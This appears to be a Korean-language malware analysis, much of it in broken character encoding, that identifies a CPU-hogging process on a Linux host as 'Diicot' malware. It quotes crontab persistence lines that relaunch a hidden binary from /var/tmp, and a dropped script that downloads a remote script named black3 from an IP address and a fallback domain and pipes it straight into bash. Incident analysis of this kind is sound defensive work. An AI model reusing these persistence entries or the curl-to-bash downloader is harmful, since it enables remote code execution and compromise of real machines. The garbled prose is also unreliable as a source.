์ ๊ฐ ์์คํ ์์ ์ด๋ค ์ค๋ง๋ฆฌ๋ฅผ ์ฐพ์๊ณ , ์ด๋ ํ ๋ถ์ ํ๋ฆ๊ณผ ๊ธฐ์ ์ ๊ทผ๊ฑฐ๋ฅผ ๋ฐํ์ผ๋ก ์ด๋ฅผ **"Diicot ๋ฉ์จ์ด"**๋ผ๊ณ ์ต์ข ํ๋จํ๋์ง ๊ทธ ์์ฌ ๊ณผ์ ์ ์์ธํ ์ ์ด๋๋ฆฝ๋๋ค.
์ฌ์ฉ์๋ถ๊ป์ย topย ๋ช
๋ น์ด์์ ์์์ ์์ฒญ๋๊ฒ ๋จน๋ ํ๋ก์ธ์ค๊ฐ ์๋ค๊ณ ์ ๋ณดํ์
์, ๊ตฌ์ฒด์ ์ธ ํ๋ก์ธ์ค ๋ชฉ๋ก์ ์ ๋ ฌํด ๋ณด์์ต๋๋ค.
๊ด์ฐฐ ๋ด์ฉ: ์ฌ์ฉ์ย user1ย ๊ถํ์ผ๋ก ์คํ๋ ํ๋ก์ธ์ค ์ค **CPU ์ ์ ์จ์ด 98.7%**์ ๋ฌํ๋ ํ๋ก์ธ์ค๊ฐ ์กํ์ต๋๋ค.
๋น์ ์ ์งํ 1: ํ๋ก์ธ์ค์ ์คํ ๋ช
๋ น์ด๊ฐ **85423a63*์ด๋ผ๋ ๋ฌด์์ 16์ง์ ๋ฌธ์์ด ํํ์์ต๋๋ค. (์ ์์ ์ธ ํ๋ก๊ทธ๋จ์ ์ด๋ฐ ๋ฌด์์ ์๋ณ์๋ฅผ ํ๋ก์ธ์ค ์ด๋ฆ์ผ๋ก ์ฐ์ง ์์ต๋๋ค.)
๋น์ ์ ์งํ 2: ํ๋ก์ธ์ค์ ์ค์ ์คํ ํ์ผ ๊ฒฝ๋ก([])๋ฅผ ์กฐํํด ๋ณด๋ **/var/tmp/1d565659/85423a63*์ด์์ต๋๋ค. ๋๊ตฌ๋ ์ฐ๊ธฐ ๊ถํ์ด ์๋ ์์ ํด๋์ธย /var/tmpย ๋ฐ์ ์ด์ํ ํด์๊ฐ ํด๋๋ฅผ ๋ง๋ค์ด ์คํํ๋ ๊ฒ์ ์ ํ์ ์ธ ์
์ฑ์ฝ๋์ ํน์ง์
๋๋ค.
exe
๋ฆฌ๋ ์ค ์์คํ ์ ํ๋ก์ธ์ค๊ฐ ์ฃฝ์ด๋ ํฌ๋ก ํญ์ ๋ฑ๋กํด ๋๋ฉด ์ฃผ๊ธฐ์ ์ผ๋ก ์๋ ์ฌ์คํ๋ฉ๋๋ค. ์ด ์ฅ๋ถ([user1 crontab])๋ฅผ ์ด์ด ๋ณด์์ต๋๋ค.
๊ด์ฐฐ ๋ด์ฉ:
bash
@reboot/var/tmp/1d565659/./5d68b3e5 >/dev/null 2>&1 & disown
* * * * * /var/tmp/1d565659/./5d68b3e5 > /dev/null 2>&1 & disown
*/30 * * * * /var/tmp/1d565659/./.c > /dev/null 2>&1 & disown
ํ๋จ ๊ทผ๊ฑฐ:
@reboot), ๊ทธ๋ฆฌ๊ณ **๋งค ๋ถ(* * * *)**๋ง๋ค ๋์ผํ ์์ ํด๋ ๋ด์ ๋ฐ์ด๋๋ฆฌ(5d68b3e5)๋ฅผ ์คํํ๋๋ก ์ค๋ณต ๋๋ฐฐ๋์ด ์์์ต๋๋ค.> /dev/null 2>&1)ํ๊ณ ์ ์์ ๊ถ์ ๋ถ๋ฆฌ(disown)ํ๋ ๋ฑ ์ํ ๊ธฐ๋ฒ์ด ๋
ธ๊ณจ์ ์ผ๋ก ์ฌ์ฉ๋์์ต๋๋ค.ํฌ๋ก ํญ์ ๋ฑ๋ก๋ [.c] ์ ธ ์คํฌ๋ฆฝํธ ํ์ผ์ ์ด์ด์ ์ค์ ์ฝ๋๋ฅผ ๊ฒ์ฆํ์ต๋๋ค.
์คํฌ๋ฆฝํธ ์ฝ๋:
bash
if curl-s--connect-timeout15195.24.237.240/.x/black3;then
curl-s195.24.237.240/.x/black3 | bash >/dev/null 2>&1
else
curl-s--connect-timeout15digital.digitaldatainsights.org/.x/black3 | bash >/dev/null 2>&1
fi
ํ๋จ ๊ทผ๊ฑฐ:
195.24.237.240) ๋๋ ๋๋ฉ์ธ(digital.digitaldatainsights.org)์ ๋น๋ฐ๋ฆฌ์ ์ฐ๊ฒฐ์ ์๋ํฉ๋๋ค.black3๋ผ๋ ์
ธ ์คํฌ๋ฆฝํธ๋ฅผ ๋ค์ด๋ก๋ํด **๋ณด์ ๊ฒ์ฆ๋ ๊ฑฐ์น์ง ์๊ณ ์ฌ์ฉ์ ๊ถํ์ผ๋ก ์ฆ์ ์คํ(| bash)**์ํค๋ ์ ํ์ ์ธย ์๊ฒฉ ๋ค์ด๋ก๋ ๋ฐฑ๋์ด์์ต๋๋ค.